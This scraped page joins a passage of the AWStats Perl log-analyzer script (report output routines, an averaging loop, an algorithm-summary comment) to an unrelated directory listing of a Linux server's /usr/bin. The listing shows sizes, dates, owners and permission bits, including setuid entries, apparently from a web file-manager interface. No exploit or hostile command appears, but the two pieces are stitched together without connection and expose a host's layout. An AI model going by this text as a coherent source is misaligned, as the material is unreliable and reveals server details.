&HTMLShowRobots(); } if ( $HTMLOutput{'urldetail'} || $HTMLOutput{'urlentry'} || $HTMLOutput{'urlexit'} ) { &HTMLShowURLDetail(); } if ( $HTMLOutput{'unknownos'} ) { &HTMLShowOSUnknown($NewLinkTarget); } if ( $HTMLOutput{'unknownbrowser'} ) { &HTMLShowBrowserUnknown($NewLinkTarget); } if ( $HTMLOutput{'osdetail'} ) { &HTMLShowOSDetail(); } if ( $HTMLOutput{'browserdetail'} ) { &HTMLShowBrowserDetail(); } if ( $HTMLOutput{'refererse'} ) { &HTMLShowReferers($NewLinkTarget); } if ( $HTMLOutput{'refererpages'} ) { &HTMLShowRefererPages($NewLinkTarget); } if ( $HTMLOutput{'keyphrases'} ) { &HTMLShowKeyPhrases($NewLinkTarget); } if ( $HTMLOutput{'keywords'} ) { &HTMLShowKeywords($NewLinkTarget); } if ( $HTMLOutput{'downloads'} ) { &HTMLShowDownloads(); } foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { if ( $HTMLOutput{"errors$code"} ) { &HTMLShowErrorCodes($code); } } # BY EXTRA SECTIONS #---------------------------- HTMLShowExtraSections(); if ( $HTMLOutput{'info'} ) { # TODO Not yet available print "$Center<a name=\"info\"> </a><br />"; &html_end(1); } # Print any plugins that have individual pages # TODO - change name, graph isn't so descriptive my $htmloutput = ''; foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; } if ( $htmloutput =~ /^plugin_(\w+)$/ ) { my $pluginname = $1; print "$Center<a name=\"plugin_$pluginname\"> </a><br />"; my $function = "AddHTMLGraph_$pluginname"; &$function(); &html_end(1); } } # Output main page #----------------- if ( $HTMLOutput{'main'} ) { # Calculate averages my $max_p = 0; my $max_h = 0; my $max_k = 0; my $max_v = 0; my $average_nb = 0; foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next $average_nb++; # Increase number of day used to count $AverageVisits += ( $DayVisits{$daycursor} || 0 ); $AveragePages += ( $DayPages{$daycursor} || 0 ); $AverageHits += ( $DayHits{$daycursor} || 0 ); $AverageBytes += ( $DayBytes{$daycursor} || 0 ); } if ($average_nb) { $AverageVisits = $AverageVisits / $average_nb; $AveragePages = $AveragePages / $average_nb; $AverageHits = $AverageHits / $average_nb; $AverageBytes = $AverageBytes / $average_nb; if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; } #if ($average_p > $max_p) { $max_p=$average_p; } if ( $AverageHits > $max_h ) { $max_h = $AverageHits; } if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; } } else { $AverageVisits = "?"; $AveragePages = "?"; $AverageHits = "?"; $AverageBytes = "?"; } # SUMMARY #--------------------------------------------------------------------- if ($ShowSummary) { &HTMLMainSummary(); } # BY MONTH #--------------------------------------------------------------------- if ($ShowMonthStats) { &HTMLMainMonthly(); } print "\n<a name=\"when\"> </a>\n\n"; # BY DAY OF MONTH #--------------------------------------------------------------------- if ($ShowDaysOfMonthStats) { &HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage, $firstdaytoshowtime, $lastdaytoshowtime); } # BY DAY OF WEEK #------------------------- if ($ShowDaysOfWeekStats) { &HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage, $NewLinkParams, $NewLinkTarget); } # BY HOUR #---------------------------- if ($ShowHoursStats) { &HTMLMainHours($NewLinkParams, $NewLinkTarget); } print "\n<a name=\"who\"> </a>\n\n"; # BY COUNTRY/DOMAIN #--------------------------- if ($ShowDomainsStats) { &HTMLMainCountries($NewLinkParams, $NewLinkTarget); } # BY HOST/VISITOR #-------------------------- if ($ShowHostsStats) { &HTMLMainHosts($NewLinkParams, $NewLinkTarget); } # BY SENDER EMAIL #---------------------------- if ($ShowEMailSenders) { &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget ); } # BY RECEIVER EMAIL #---------------------------- if ($ShowEMailReceivers) { &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget ); } # BY LOGIN #---------------------------- if ($ShowAuthenticatedUsers) { &HTMLMainLogins($NewLinkParams, $NewLinkTarget); } # BY ROBOTS #---------------------------- if ($ShowRobotsStats) { &HTMLMainRobots($NewLinkParams, $NewLinkTarget); } # BY WORMS #---------------------------- if ($ShowWormsStats) { &HTMLMainWorms(); } print "\n<a name=\"how\"> </a>\n\n"; # BY SESSION #---------------------------- if ($ShowSessionsStats) { &HTMLMainSessions(); } # BY FILE TYPE #------------------------- if ($ShowFileTypesStats) { &HTMLMainFileType($NewLinkParams, $NewLinkTarget); } # BY FILE SIZE #------------------------- if ($ShowFileSizesStats) { # TODO } # BY DOWNLOADS #------------------------- if ($ShowDownloadsStats) { &HTMLMainDownloads($NewLinkParams, $NewLinkTarget); } # BY PAGE #------------------------- if ($ShowPagesStats) { &HTMLMainPages($NewLinkParams, $NewLinkTarget); } # BY OS #---------------------------- if ($ShowOSStats) { &HTMLMainOS($NewLinkParams, $NewLinkTarget); } # BY BROWSER #---------------------------- if ($ShowBrowsersStats) { &HTMLMainBrowsers($NewLinkParams, $NewLinkTarget); } # BY SCREEN SIZE #---------------------------- if ($ShowScreenSizeStats) { &HTMLMainScreenSize(); } print "\n<a name=\"refering\"> </a>\n\n"; # BY REFERENCE #--------------------------- if ($ShowOriginStats) { &HTMLMainReferrers($NewLinkParams, $NewLinkTarget); } print "\n<a name=\"keys\"> </a>\n\n"; # BY SEARCH KEYWORDS AND/OR KEYPHRASES #------------------------------------- if ($ShowKeyphrasesStats || $ShowKeywordsStats){ &HTMLMainKeys($NewLinkParams, $NewLinkTarget); } print "\n<a name=\"other\"> </a>\n\n"; # BY MISC #---------------------------- if ($ShowMiscStats) { &HTMLMainMisc(); } # BY HTTP STATUS #---------------------------- if ($ShowHTTPErrorsStats) { &HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget); } # BY SMTP STATUS #---------------------------- if ($ShowSMTPErrorsStats) { &HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget); } # BY CLUSTER #---------------------------- if ($ShowClusterStats) { &HTMLMainCluster($NewLinkParams, $NewLinkTarget); } # BY EXTRA SECTIONS #---------------------------- foreach my $extranum ( 1 .. @ExtraName - 1 ) { &HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum); } # close the HTML page &html_end(1); } } else { print "Jumped lines in file: $lastlinenb\n"; if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; } print "Parsed lines in file: $NbOfLinesParsed\n"; print " Found $NbOfLinesDropped dropped records,\n"; print " Found $NbOfLinesComment comments,\n"; print " Found $NbOfLinesBlank blank records,\n"; print " Found $NbOfLinesCorrupted corrupted records,\n"; print " Found $NbOfOldLines old records,\n"; print " Found $NbOfNewLines new qualified records.\n"; } #sleep 10; 0; # Do not remove this line #------------------------------------------------------- # ALGORITHM SUMMARY # # Read_Config(); # Check_Config() and Init variables # if 'frame not index' # &Read_Language_Data($Lang); # if 'frame not mainleft' # &Read_Ref_Data(); # &Read_Plugins(); # html_head # # If 'migrate' # We create/update tmp file with # &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all"); # Rename the tmp file # html_end # Exit # End of 'migrate' # # Get last history file name # Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with # &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general"); # # &Init_HashArray() # # If 'update' # Loop on each new line in log file # lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position # If line corrupted, skip --> next on loop # Drop wrong virtual host --> next on loop # Drop wrong method/protocol --> next on loop # Check date --> next on loop # If line older than $LastLine, skip --> next on loop # So it's new line # $LastLine = time or record # Skip if url is /robots.txt --> next on loop # Skip line for @SkipHosts --> next on loop # Skip line for @SkipFiles --> next on loop # Skip line for @SkipUserAgent --> next on loop # Skip line for not @OnlyHosts --> next on loop # Skip line for not @OnlyUsers --> next on loop # Skip line for not @OnlyFiles --> next on loop # Skip line for not @OnlyUserAgent --> next on loop # So it's new line approved # If other month/year, create/update tmp file and purge data arrays with # &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)); # Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url]) # Define PageBool and extension # Analyze: Misc tracker --> complete %misc # Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere) # If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2 # If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3 # If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4 # If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5 # If (!countedtraffic) Analyze: File types - Compression # If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo # If (!countedtraffic) Analyze: Login # If (!countedtraffic) Do DNS Lookup # If (!countedtraffic) Analyze: Country # If (!countedtraffic) Analyze: Host - Url - Session # If (!countedtraffic) Analyze: Browser - OS # If (!countedtraffic) Analyze: Referer # If (!countedtraffic) Analyze: EMail # Analyze: Cluster # Analyze: Extra (must be after 'Define a clean Url and Query') # If too many records, we flush data arrays with # &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)); # End of loop # # Create/update tmp file # Seek to lastlineoffset in logfile to read and get last line into $_ # &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)) # Rename all created tmp files # End of 'update' # # &Init_HashArray() # # If 'output' # Loop for each month of required year # &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month) # End of loop # Show data arrays in HTML page # html_end # End of 'output' #------------------------------------------------------- #------------------------------------------------------- # DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS # Format /etc/hosts x.y.z.w hostname # Format analog UT/60 x.y.z.w hostname #------------------------------------------------------- #------------------------------------------------------- # IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits) # # 13.1.68.3 IPv4 (d.d.d.d) # 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d) # ::13.1.68.3 # 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d) # ::FFFF:13.1.68.3 IPv6 # # 1070:0:0:0:0:800:200C:417B IPv6 # 1070:0:0:0:0:800:200C:417B IPv6 # 1070::800:200C:417B IPv6 #-------------------------------------------------------

Name	Size	Last Modified	Owner	Permissions	Options
..	--	March 29 2022 11:10:06	root	0755
X11	--	April 08 2025 12:08:09	root	0755

7zr	0.039 KB	August 09 2019 9:00:38	root	0755
GET	15.82 KB	November 29 2019 4:16:23	root	0755
HEAD	15.82 KB	November 29 2019 4:16:23	root	0755
Mail	110.242 KB	August 08 2018 11:12:01	root	0755
POST	15.82 KB	November 29 2019 4:16:23	root	0755
[	58.336 KB	September 05 2019 12:38:40	root	0755
ab	58.336 KB	October 26 2023 3:54:09	root	0755
add-apt-repository	7.241 KB	March 21 2023 4:23:10	root	0755
addpart	30.227 KB	May 30 2023 5:42:35	root	0755
addr2line	34.703 KB	January 02 2024 4:48:50	root	0755
appres	14.305 KB	February 29 2020 7:29:50	root	0755
apropos	55.211 KB	February 25 2020 6:13:45	root	0755
apt	18.383 KB	October 06 2023 11:42:30	root	0755
apt-add-repository	7.241 KB	March 21 2023 4:23:10	root	0755
apt-cache	86.461 KB	October 06 2023 11:42:30	root	0755
apt-cdrom	30.461 KB	October 06 2023 11:42:30	root	0755
apt-config	26.383 KB	October 06 2023 11:42:30	root	0755
apt-extracttemplates	26.469 KB	October 06 2023 11:42:30	root	0755
apt-ftparchive	274.469 KB	October 06 2023 11:42:30	root	0755
apt-get	46.461 KB	October 06 2023 11:42:30	root	0755
apt-key	27.276 KB	October 06 2023 11:42:30	root	0755
apt-mark	62.461 KB	October 06 2023 11:42:30	root	0755
apt-sortpkgs	46.391 KB	October 06 2023 11:42:30	root	0755
ar	66.43 KB	January 02 2024 4:48:50	root	0755
arch	38.367 KB	September 05 2019 12:38:40	root	0755
arpaname	14.297 KB	September 19 2023 1:22:19	root	0755
as	680.297 KB	January 02 2024 4:48:50	root	0755
aspell	166.5 KB	July 22 2021 8:20:06	root	0755
aspell-import	1.996 KB	July 22 2021 8:20:06	root	0755
atobm	14.297 KB	February 29 2020 12:10:29	root	0755
atop	290.258 KB	January 25 2019 5:41:25	root	0755
atopconvert	24.156 KB	January 25 2019 5:41:25	root	0755
atopsar	290.258 KB	January 25 2019 5:41:25	root	0755
awk	158.742 KB	February 16 2020 8:41:09	root	0755
awstats	669.616 KB	February 27 2023 9:27:24	root	0755
b2sum	58.367 KB	September 05 2019 12:38:40	root	0755
base32	42.336 KB	September 05 2019 12:38:40	root	0755
base64	42.336 KB	September 05 2019 12:38:40	root	0755
basename	38.336 KB	September 05 2019 12:38:40	root	0755
bashbug	6.635 KB	April 18 2022 11:14:46	root	0755
bitmap	106.391 KB	February 29 2020 12:10:29	root	0755
bmtoa	14.32 KB	February 29 2020 12:10:29	root	0755
bootctl	62.344 KB	November 21 2023 10:10:21	root	0755
broadwayd	118.383 KB	February 15 2022 6:50:52	root	0755
bsd-from	14.148 KB	March 30 2020 11:26:14	root	0755
bsd-mailx	110.242 KB	August 08 2018 11:12:01	root	0755
bsd-write	14.148 KB	March 30 2020 11:26:14	root	2755
bundle2.7	0.517 KB	July 06 2023 12:57:08	root	0755
bundler2.7	0.519 KB	July 06 2023 12:57:08	root	0755
busctl	86.344 KB	November 21 2023 10:10:21	root	0755
c++	1.1 MB	October 24 2022 11:28:06	root	0755
c++filt	30.266 KB	January 02 2024 4:48:50	root	0755
c89	0.418 KB	May 07 2006 11:28:01	root	0755
c89-gcc	0.418 KB	May 07 2006 11:28:01	root	0755
c99	0.443 KB	April 11 2011 9:54:37	root	0755
c99-gcc	0.443 KB	April 11 2011 9:54:37	root	0755
c_rehash	6.646 KB	January 31 2024 9:45:27	root	0755
cal	36.945 KB	March 30 2020 11:26:14	root	0755
calendar	34.633 KB	March 30 2020 11:26:14	root	0755
captoinfo	90.414 KB	May 16 2023 8:47:48	root	0755
catchsegv	3.253 KB	November 22 2023 2:32:50	root	0755
catman	38.688 KB	February 25 2020 6:13:45	root	0755
cautious-launcher	0.833 KB	October 19 2019 1:05:50	root	0755
cc	1.1 MB	October 24 2022 11:28:06	root	0755
cct	30.148 KB	February 13 2020 4:29:49	root	0755
certbot	0.376 KB	October 26 2020 3:42:45	root	0755
cgi-fcgi	18.148 KB	March 22 2020 4:45:46	root	0755
chage	82.531 KB	November 29 2022 12:53:10	root	2755
chardet3	0.38 KB	December 17 2019 1:31:30	root	0755
chardetect3	0.38 KB	December 17 2019 1:31:30	root	0755
chattr	14.313 KB	June 02 2022 2:59:32	root	0755
chcon	70.336 KB	September 05 2019 12:38:40	root	0755
check-language-support	2.706 KB	September 27 2020 10:07:12	root	0755
checkgid	14.148 KB	October 26 2023 3:54:09	root	0755
chfn	83.07 KB	November 29 2022 12:53:10	root	4755
choom	50.227 KB	May 30 2023 5:42:35	root	0755
chrt	38.227 KB	May 30 2023 5:42:35	root	0755
chsh	51.797 KB	November 29 2022 12:53:10	root	4755
ckbcomp	146.391 KB	March 27 2020 11:10:06	root	0755
cksum	38.336 KB	September 05 2019 12:38:40	root	0755
clear	14.313 KB	May 16 2023 8:47:48	root	0755
clear_console	14.227 KB	April 18 2022 11:14:46	root	0755
cmp	50.094 KB	April 08 2019 2:04:00	root	0755
codepage	13.992 KB	May 09 2019 5:22:51	root	0755
col	18.148 KB	March 30 2020 11:26:14	root	0755
colcrt	14.148 KB	March 30 2020 11:26:14	root	0755
colrm	14.148 KB	March 30 2020 11:26:14	root	0755
column	14.164 KB	March 30 2020 11:26:14	root	0755
comm	42.367 KB	September 05 2019 12:38:40	root	0755
compose	18.054 KB	October 19 2019 1:05:50	root	0755
corelist	14.734 KB	November 23 2023 4:02:19	root	0755
corepack	2.08 MB	March 28 2023 10:16:29	root	0755
cpan	7.964 KB	November 23 2023 4:02:19	root	0755
cpan5.30-x86_64-linux-gnu	7.984 KB	November 23 2023 4:02:19	root	0755
cpp	1.1 MB	October 24 2022 11:28:06	root	0755
cpp-9	1.1 MB	October 24 2022 11:28:06	root	0755
crontab	42.695 KB	February 13 2020 9:44:42	root	2755
cs2cs	26.25 KB	February 13 2020 4:29:49	root	0755
csplit	54.367 KB	September 05 2019 12:38:40	root	0755
ctstat	30.508 KB	February 13 2020 6:21:59	root	0755
curl	234.227 KB	November 29 2023 8:26:14	root	0755
cut	46.367 KB	September 05 2019 12:38:40	root	0755
cvtsudoers	266.695 KB	April 04 2023 1:56:28	root	0755
daemon	236.984 KB	September 05 2019 12:47:28	root	0755
db5.3_archive	14.023 KB	March 21 2020 1:26:50	root	0755
db5.3_checkpoint	14.023 KB	March 21 2020 1:26:50	root	0755
db5.3_deadlock	14.023 KB	March 21 2020 1:26:50	root	0755
db5.3_dump	18.023 KB	March 21 2020 1:26:50	root	0755
db5.3_hotbackup	18.023 KB	March 21 2020 1:26:50	root	0755
db5.3_load	34.023 KB	March 21 2020 1:26:50	root	0755
db5.3_log_verify	14.023 KB	March 21 2020 1:26:50	root	0755
db5.3_printlog	34.023 KB	March 21 2020 1:26:50	root	0755
db5.3_recover	14.023 KB	March 21 2020 1:26:50	root	0755
db5.3_replicate	18.023 KB	March 21 2020 1:26:50	root	0755
db5.3_stat	18.023 KB	March 21 2020 1:26:50	root	0755
db5.3_upgrade	14.023 KB	March 21 2020 1:26:50	root	0755
db5.3_verify	14.023 KB	March 21 2020 1:26:50	root	0755
db_archive	14.023 KB	March 21 2020 1:26:50	root	0755
db_checkpoint	14.023 KB	March 21 2020 1:26:50	root	0755
db_deadlock	14.023 KB	March 21 2020 1:26:50	root	0755
db_dump	18.023 KB	March 21 2020 1:26:50	root	0755
db_hotbackup	18.023 KB	March 21 2020 1:26:50	root	0755
db_load	34.023 KB	March 21 2020 1:26:50	root	0755
db_log_verify	14.023 KB	March 21 2020 1:26:50	root	0755
db_printlog	34.023 KB	March 21 2020 1:26:50	root	0755
db_recover	14.023 KB	March 21 2020 1:26:50	root	0755
db_replicate	18.023 KB	March 21 2020 1:26:50	root	0755
db_stat	18.023 KB	March 21 2020 1:26:50	root	0755
db_upgrade	14.023 KB	March 21 2020 1:26:50	root	0755
db_verify	14.023 KB	March 21 2020 1:26:50	root	0755
dbilogstrip	1.348 KB	July 30 2021 1:22:12	root	0755
dbiprof	6.061 KB	July 30 2021 1:22:12	root	0755
dbiproxy	5.268 KB	July 30 2021 1:22:12	root	0755
dbus-cleanup-sockets	14.141 KB	October 25 2022 3:09:26	root	0755
dbus-daemon	243.195 KB	October 25 2022 3:09:26	root	0755
dbus-monitor	30.141 KB	October 25 2022 3:09:26	root	0755
dbus-run-session	14.141 KB	October 25 2022 3:09:26	root	0755
dbus-send	30.141 KB	October 25 2022 3:09:26	root	0755
dbus-update-activation-environment	14.141 KB	October 25 2022 3:09:26	root	0755
dbus-uuidgen	14.141 KB	October 25 2022 3:09:26	root	0755
deallocvt	14.07 KB	May 09 2019 5:22:51	root	0755
deb-systemd-helper	20.828 KB	June 21 2019 8:56:55	root	0755
deb-systemd-invoke	4.326 KB	June 21 2019 8:56:55	root	0755
debconf	2.792 KB	August 03 2019 12:51:13	root	0755
debconf-apt-progress	11.271 KB	August 03 2019 12:51:13	root	0755
debconf-communicate	0.594 KB	August 03 2019 12:51:13	root	0755
debconf-copydb	1.679 KB	August 03 2019 12:51:13	root	0755
debconf-escape	0.632 KB	August 03 2019 12:51:13	root	0755
debconf-set-selections	2.866 KB	August 03 2019 12:51:13	root	0755
debconf-show	1.784 KB	August 03 2019 12:51:13	root	0755
debian-distro-info	22.891 KB	April 25 2023 3:57:38	root	0755
delaunay	22.383 KB	February 03 2017 11:04:42	root	0755
delpart	30.227 KB	May 30 2023 5:42:35	root	0755
delv	48.391 KB	September 19 2023 1:22:19	root	0755
dh_bash-completion	2.389 KB	January 26 2020 4:42:18	root	0755
dh_perl_dbi	1.04 KB	July 30 2021 1:22:12	root	0755
dh_perl_openssl	1.363 KB	February 03 2020 12:05:01	root	0755
dh_python3-ply	2.281 KB	June 01 2021 5:05:04	root	0755
diff	214.336 KB	April 08 2019 2:04:00	root	0755
diff3	66.211 KB	April 08 2019 2:04:00	root	0755
dig	134.797 KB	September 19 2023 1:22:19	root	0755
dircolors	46.344 KB	September 05 2019 12:38:40	root	0755
dirmngr	569.859 KB	July 04 2022 6:20:36	root	0755
dirmngr-client	119.063 KB	July 04 2022 6:20:36	root	0755
dirname	38.336 KB	September 05 2019 12:38:40	root	0755
distro-info	22.891 KB	April 25 2023 3:57:38	root	0755
dkimproxy-sign	3.896 KB	February 08 2020 7:07:01	root	0755
dkimproxy-verify	2.248 KB	February 08 2020 7:07:01	root	0755
do-release-upgrade	9.987 KB	March 14 2023 1:29:22	root	0755
dotlockfile	22.148 KB	October 11 2019 7:55:06	root	2755
doveadm	637.016 KB	July 07 2022 7:17:38	root	0755
doveconf	180.68 KB	July 07 2022 7:17:38	root	0755
dpkg	302.68 KB	May 25 2022 1:14:20	root	0755
dpkg-architecture	12.551 KB	May 25 2022 1:14:20	root	0755
dpkg-buildflags	7.388 KB	May 25 2022 1:14:20	root	0755
dpkg-buildpackage	29.893 KB	May 25 2022 1:14:20	root	0755
dpkg-checkbuilddeps	7.445 KB	May 25 2022 1:14:20	root	0755
dpkg-deb	174.539 KB	May 25 2022 1:14:20	root	0755
dpkg-distaddfile	2.717 KB	May 25 2022 1:14:20	root	0755
dpkg-divert	150.594 KB	May 25 2022 1:14:20	root	0755
dpkg-genbuildinfo	16.401 KB	May 25 2022 1:14:20	root	0755
dpkg-genchanges	17.082 KB	May 25 2022 1:14:20	root	0755
dpkg-gencontrol	13.866 KB	May 25 2022 1:14:20	root	0755
dpkg-gensymbols	10.646 KB	May 25 2022 1:14:20	root	0755
dpkg-maintscript-helper	20.033 KB	May 25 2022 1:14:20	root	0755
dpkg-mergechangelogs	8.347 KB	May 25 2022 1:14:20	root	0755
dpkg-name	6.63 KB	May 25 2022 1:14:20	root	0755
dpkg-parsechangelog	4.46 KB	May 25 2022 1:14:20	root	0755
dpkg-query	162.586 KB	May 25 2022 1:14:20	root	0755
dpkg-scanpackages	8.494 KB	May 25 2022 1:14:20	root	0755
dpkg-scansources	8.952 KB	May 25 2022 1:14:20	root	0755
dpkg-shlibdeps	30.68 KB	May 25 2022 1:14:20	root	0755
dpkg-source	22.482 KB	May 25 2022 1:14:20	root	0755
dpkg-split	122.484 KB	May 25 2022 1:14:20	root	0755
dpkg-statoverride	62.266 KB	May 25 2022 1:14:20	root	0755
dpkg-trigger	82.492 KB	May 25 2022 1:14:20	root	0755
dpkg-vendor	3.186 KB	May 25 2022 1:14:20	root	0755
dsync	637.016 KB	July 07 2022 7:17:38	root	0755
du	106.367 KB	September 05 2019 12:38:40	root	0755
dumpkeys	174.523 KB	May 09 2019 5:22:51	root	0755
dvipdf	0.983 KB	October 12 2023 3:06:46	root	0755
dwp	1.95 MB	January 02 2024 4:48:50	root	0755
edit	18.054 KB	October 19 2019 1:05:50	root	0755
editor	312.633 KB	April 10 2020 4:12:30	root	0755
editres	72.703 KB	February 29 2020 7:29:50	root	0755
eject	34.844 KB	July 08 2019 10:40:51	root	0755
elfedit	42.672 KB	January 02 2024 4:48:50	root	0755
enc2xs	41.124 KB	November 23 2023 4:02:19	root	0755
encguess	2.994 KB	November 23 2023 4:02:19	root	0755
enchant-2	22.375 KB	November 05 2020 3:13:12	root	0755
enchant-lsmod-2	14.305 KB	November 05 2020 3:13:12	root	0755
env	42.336 KB	September 05 2019 12:38:40	root	0755
envsubst	42.227 KB	March 22 2020 4:42:12	root	0755
eps2eps	0.624 KB	October 12 2023 3:06:46	root	0755
eqn	201.5 KB	March 21 2020 1:27:30	root	0755
erb	4.944 KB	July 06 2023 12:57:08	root	0755
erb2.7	4.944 KB	July 06 2023 12:57:08	root	0755
etckeeper	2.806 KB	March 30 2020 12:24:10	root	0755
ex	1.29 MB	December 07 2023 4:42:49	root	0755
expand	42.367 KB	September 05 2019 12:38:40	root	0755
expiry	30.578 KB	November 29 2022 12:53:10	root	2755
expr	54.336 KB	September 05 2019 12:38:40	root	0755
factor	78.367 KB	September 05 2019 12:38:40	root	0755
fail2ban-client	1.386 KB	March 02 2020 2:20:11	root	0755
fail2ban-python	5.21 MB	November 22 2023 11:22:35	root	0755
fail2ban-regex	1.25 KB	March 02 2020 2:20:11	root	0755
fail2ban-server	1.384 KB	March 02 2020 2:20:11	root	0755
fail2ban-testcases	2.231 KB	March 02 2020 2:20:11	root	0755
faillog	22.594 KB	November 29 2022 12:53:10	root	0755
faked-sysv	34.266 KB	September 07 2019 12:48:18	root	0755
faked-tcp	34.25 KB	September 07 2019 12:48:18	root	0755
fakeroot	3.761 KB	September 07 2019 12:48:18	root	0755
fakeroot-sysv	3.761 KB	September 07 2019 12:48:18	root	0755
fakeroot-tcp	3.756 KB	September 07 2019 12:48:18	root	0755
fallocate	34.227 KB	May 30 2023 5:42:35	root	0755
fc-cache	22.227 KB	April 06 2020 12:09:42	root	0755
fc-cat	18.227 KB	April 06 2020 12:09:42	root	0755
fc-conflist	14.227 KB	April 06 2020 12:09:42	root	0755
fc-list	14.227 KB	April 06 2020 12:09:42	root	0755
fc-match	14.227 KB	April 06 2020 12:09:42	root	0755
fc-pattern	14.227 KB	April 06 2020 12:09:42	root	0755
fc-query	14.227 KB	April 06 2020 12:09:42	root	0755
fc-scan	14.227 KB	April 06 2020 12:09:42	root	0755
fc-validate	14.227 KB	April 06 2020 12:09:42	root	0755
fcgistarter	14.148 KB	October 26 2023 3:54:09	root	0755
file	26.469 KB	January 16 2020 9:39:11	root	0755
fincore	34.273 KB	May 30 2023 5:42:35	root	0755
find	312.656 KB	February 18 2020 2:05:59	root	0755
firefox	2.604 KB	February 06 2024 2:59:08	root	0755
firewall-cmd	115.96 KB	April 04 2020 7:50:39	root	0755
firewall-offline-cmd	104.194 KB	April 04 2020 7:50:39	root	0755
flock	34.305 KB	May 30 2023 5:42:35	root	0755
fmt	46.336 KB	September 05 2019 12:38:40	root	0755
fold	42.336 KB	September 05 2019 12:38:40	root	0755
formail	42.148 KB	November 16 2017 11:42:36	root	0755
free	26.234 KB	October 31 2023 12:35:56	root	0755
from	14.148 KB	March 30 2020 11:26:14	root	0755
ftp	106.695 KB	February 24 2019 2:39:21	root	0755
ftpcount	23.445 KB	February 27 2020 8:34:56	root	0755
ftpdctl	98.273 KB	February 27 2020 8:34:56	root	0755
ftptop	27.164 KB	February 27 2020 8:34:56	root	0755
ftpwho	39.586 KB	February 27 2020 8:34:56	root	0755
funzip	26.148 KB	October 07 2022 7:09:47	root	0755
futurize	0.375 KB	January 25 2023 9:33:14	root	0755
g++	1.1 MB	October 24 2022 11:28:06	root	0755
g++-9	1.1 MB	October 24 2022 11:28:06	root	0755
gapplication	22.383 KB	June 08 2023 4:20:31	root	0755
gcc	1.1 MB	October 24 2022 11:28:06	root	0755
gcc-9	1.1 MB	October 24 2022 11:28:06	root	0755
gcc-ar	34.633 KB	October 24 2022 11:28:06	root	0755
gcc-ar-9	34.633 KB	October 24 2022 11:28:06	root	0755
gcc-nm	34.633 KB	October 24 2022 11:28:06	root	0755
gcc-nm-9	34.633 KB	October 24 2022 11:28:06	root	0755
gcc-ranlib	34.633 KB	October 24 2022 11:28:06	root	0755
gcc-ranlib-9	34.633 KB	October 24 2022 11:28:06	root	0755
gcov	656.234 KB	October 24 2022 11:28:06	root	0755
gcov-9	656.234 KB	October 24 2022 11:28:06	root	0755
gcov-dump	528.133 KB	October 24 2022 11:28:06	root	0755
gcov-dump-9	528.133 KB	October 24 2022 11:28:06	root	0755
gcov-tool	544.195 KB	October 24 2022 11:28:06	root	0755
gcov-tool-9	544.195 KB	October 24 2022 11:28:06	root	0755
gdbus	50.383 KB	June 08 2023 4:20:31	root	0755
gdk-pixbuf-csource	14.328 KB	September 07 2022 5:05:42	root	0755
gdk-pixbuf-pixdata	14.313 KB	September 07 2022 5:05:42	root	0755
gdk-pixbuf-thumbnailer	18.391 KB	September 07 2022 5:05:42	root	0755
gem	0.532 KB	July 06 2023 12:57:08	root	0755
gem2.7	0.532 KB	July 06 2023 12:57:08	root	0755
gen-auth	14.428 KB	February 15 2022 9:03:43	root	0755
gencat	26.367 KB	November 22 2023 2:32:50	root	0755
geod	22.164 KB	February 13 2020 4:29:49	root	0755
geqn	201.5 KB	March 21 2020 1:27:30	root	0755
getconf	34.289 KB	November 22 2023 2:32:50	root	0755
getent	38.648 KB	November 22 2023 2:32:50	root	0755
getkeycodes	14.07 KB	May 09 2019 5:22:51	root	0755
getopt	22.227 KB	May 30 2023 5:42:35	root	0755
gettext	42.227 KB	March 22 2020 4:42:12	root	0755
gettext.sh	4.521 KB	March 22 2020 4:42:12	root	0755
ghostscript	14.148 KB	October 12 2023 3:06:46	root	0755
gie	42.375 KB	February 13 2020 4:29:49	root	0755
ginstall-info	115.242 KB	October 11 2019 12:32:01	root	0755
gio	90.398 KB	June 08 2023 4:20:31	root	0755
